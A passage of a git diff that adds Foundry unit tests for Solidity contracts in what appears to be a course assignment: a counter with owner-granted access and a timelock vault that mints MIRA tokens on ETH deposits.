"forge-std/Test.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterTest is Test { + Counter public counter; + + function setUp() public { + counter = new Counter(); + counter.setNumber(0); + } + + function test_Increment() public { + counter.increment(); + assertEq(counter.number(), 1); + } + + function testFuzz_SetNumber(uint256 x) public { + counter.setNumber(x); + assertEq(counter.number(), x); + } +} diff --git a/assignments/testing-with-foundry/test/Counterv3.t.sol b/assignments/testing-with-foundry/test/Counterv3.t.sol new file mode 100644 index 00000000..8cccd3f7 --- /dev/null +++ b/assignments/testing-with-foundry/test/Counterv3.t.sol @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import 'forge-std/Test.sol'; +import '../src/Counterv3.sol'; + +contract CounterV3Test is Test { + CounterV3 counter; + + address owner = address(this); + address alice = address(1); + address bob = address(2); + + event Increment(uint by); + event Decrement(uint by); + + function setUp() public { + counter = new CounterV3(); + } + + function testOwnerIsSetCorrectly() public { + assertEq(counter.owner(), owner); + } + + function testOwnerCanGrantAccess() public { + counter.grantAccess(alice); + assertTrue(counter.authorized(alice)); + } + + function testNonOwnerCannotGrantAccess() public { + vm.prank(alice); + vm.expectRevert('Not the owner'); + counter.grantAccess(bob); + } + + function testOwnerCanRevokeAccess() public { + counter.grantAccess(alice); + counter.revokeAccess(alice); + assertFalse(counter.authorized(alice)); + } + + function testNonOwnerCannotRevokeAccess() public { + vm.prank(alice); + vm.expectRevert('Not the owner'); + counter.revokeAccess(bob); + } + + function testAuthorizedCanIncrement() public { + counter.grantAccess(alice); + + vm.prank(alice); + vm.expectEmit(true, false, false, true); + emit Increment(1); + + counter.inc(); + + assertEq(counter.x(), 1); + } + + function testUnauthorizedCannotIncrement() public { + vm.prank(alice); + vm.expectRevert('Not authorized'); + counter.inc(); + } + + function testIncByRevertsIfZero() public { + counter.grantAccess(alice); + + vm.prank(alice); + vm.expectRevert('incBy: increment should be positive'); + counter.incBy(0); + } + + function testDecRevertsIfZero() public { + counter.grantAccess(alice); + + vm.prank(alice); + vm.expectRevert('Counter cannot go below 0.'); + counter.dec(); + } + + function testDecByRevertsIfZeroAmount() public { + counter.grantAccess(alice); + + vm.prank(alice); + vm.expectRevert('Amount must be greater than 0.'); + counter.decBy(0); + } + + function testDecByRevertsIfUnderflow() public { + counter.grantAccess(alice); + + vm.prank(alice); + counter.incBy(3); + + vm.prank(alice); + vm.expectRevert('Counter cannot go below 0.'); + counter.decBy(5); + } + + function testOwnerIsAuthorizedByDefault() public { + counter.inc(); + assertEq(counter.x(), 1); + } + + function testRevokeAccessPreventsUsage() public { + counter.grantAccess(alice); + + vm.prank(alice); + counter.inc(); + + counter.revokeAccess(alice); + + vm.prank(alice); + vm.expectRevert('Not authorized'); + counter.inc(); + } + + function testIncByWorks() public { + counter.grantAccess(alice); + + vm.prank(alice); + vm.expectEmit(true, false, false, true); + emit Increment(5); + + counter.incBy(5); + + assertEq(counter.x(), 5); + } + + function testDecWorks() public { + counter.grantAccess(alice); + + vm.prank(alice); + counter.inc(); + + vm.prank(alice); + vm.expectEmit(true, false, false, true); + emit Decrement(1); + + counter.dec(); + + assertEq(counter.x(), 0); + } + + function testDecByWorks() public { + counter.grantAccess(alice); + + vm.startPrank(alice); + counter.incBy(10); + + vm.expectEmit(true, false, false, true); + emit Decrement(5); + counter.decBy(5); + vm.stopPrank(); + + assertEq(counter.x(), 5); + } +} diff --git a/assignments/testing-with-foundry/test/Timelock.t.sol b/assignments/testing-with-foundry/test/Timelock.t.sol new file mode 100644 index 00000000..da4a3261 --- /dev/null +++ b/assignments/testing-with-foundry/test/Timelock.t.sol @@ -0,0 +1,175 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.28; + +import 'forge-std/Test.sol'; +import '../src/Timelockv2.sol'; +import '../src/Mira.sol'; + +contract TimelockVaultTest is Test { + TimelockVault vault; + Mira mira; + + address owner = address(10); + address user = address(1); + + function setUp() public { + mira = new Mira(owner); + + vault = new TimelockVault(address(mira)); + + vm.prank(owner); + mira.transferOwnership(address(vault)); + vm.deal(user, 10 ether); + } + + function testConstructorRevertsIfZeroAddress() public { + vm.expectRevert('Invalid token address'); + new TimelockVault(address(0)); + } + + function testDepositSuccess() public { + vm.prank(user); + + uint unlockTime = block.timestamp + 1 days; + + uint vaultId = vault.deposit{value: 1 ether}(unlockTime); + + assertEq(vault.getVaultCount(user), 1); + assertEq(vaultId, 0); + + // 1 ETH = 10 MIRA + assertEq(mira.balanceOf(user), 10 ether); + } + + function testDepositRevertsIfZeroValue() public { + vm.prank(user); + + vm.expectRevert('Deposit must be greater than zero'); + vault.deposit{value: 0}(block.timestamp + 1 days); + } + + function testDepositRevertsIfPastUnlockTime() public { + vm.prank(user); + + vm.expectRevert('Unlock time must be in the future'); + vault.deposit{value: 1 ether}(block.timestamp - 1); + } + + function testWithdrawSuccess() public { + vm.startPrank(user); + + uint unlockTime = block.timestamp + 1 days; + + vault.deposit{value: 1 ether}(unlockTime); + + vm.warp(unlockTime); + + mira.approve(address(vault), 10 ether); + + vault.withdraw(0); + + assertEq(mira.balanceOf(user), 0); + assertEq(user.balance, 10 ether); + + vm.stopPrank(); + } + + function testWithdrawRevertsIfLocked() public { + vm.startPrank(user); + + uint unlockTime = block.timestamp + 1 days; + + vault.deposit{value: 1 ether}(unlockTime); + + vm.expectRevert('Funds are still locked'); + vault.withdraw(0); + + vm.stopPrank(); + } + + function testWithdrawRevertsIfInvalidVault() public { + vm.prank(user); + + vm.expectRevert('Invalid vault ID'); + vault.withdraw(0); + } + + function testWithdrawAllSuccess() public { + vm.startPrank(user); + + uint unlockTime = block.timestamp + 1 days; + + vault.deposit{value: 1 ether}(unlockTime); + vault.deposit{value: 2 ether}(unlockTime); + + vm.warp(unlockTime); + + mira.approve(address(vault), 30 ether); + + uint withdrawn = vault.withdrawAll(); + + assertEq(withdrawn, 3 ether); + assertEq(user.balance, 10 ether); + // assertEq(mira.balanceOf(user), 0); + + vm.stopPrank(); + } + + function testWithdrawAllRevertsIfNothingUnlocked() public { + vm.startPrank(user); + + vault.deposit{value: 1 ether}(block.timestamp + 1 days); + + vm.expectRevert('No unlocked funds available'); + vault.withdrawAll(); + + vm.stopPrank(); + } + + function testGetVault() public { + vm.prank(user); + + uint unlockTime = block.timestamp + 1 days; + + vault.deposit{value: 1 ether}(unlockTime); + + (uint balance, uint unlock, bool active, bool unlocked) = vault.getVault( + user, + 0 + ); + + assertEq(balance, 1 ether); + assertEq(unlock, unlockTime); + assertTrue(active); + assertFalse(unlocked); + } + + function testGetTotalBalance() public { + vm.startPrank(user); + + vault.deposit{value: 1 ether}(block.timestamp + 1 days); + vault.deposit{value: 2 ether}(block.timestamp + 1 days); + + uint total = vault.getTotalBalance(user); + + assertEq(total, 3 ether); + + vm.stopPrank(); + } + + function testGetUnlockedBalance() public { + vm.startPrank(user); + + uint unlockTime = block.timestamp + 1 days; + + vault.deposit{value: 1 ether}(unlockTime); + + vm.warp(unlockTime); + + uint unlocked = vault.getUnlockedBalance(user); + + assertEq(unlocked, 1 ether); + + vm.stopPrank(); + } +}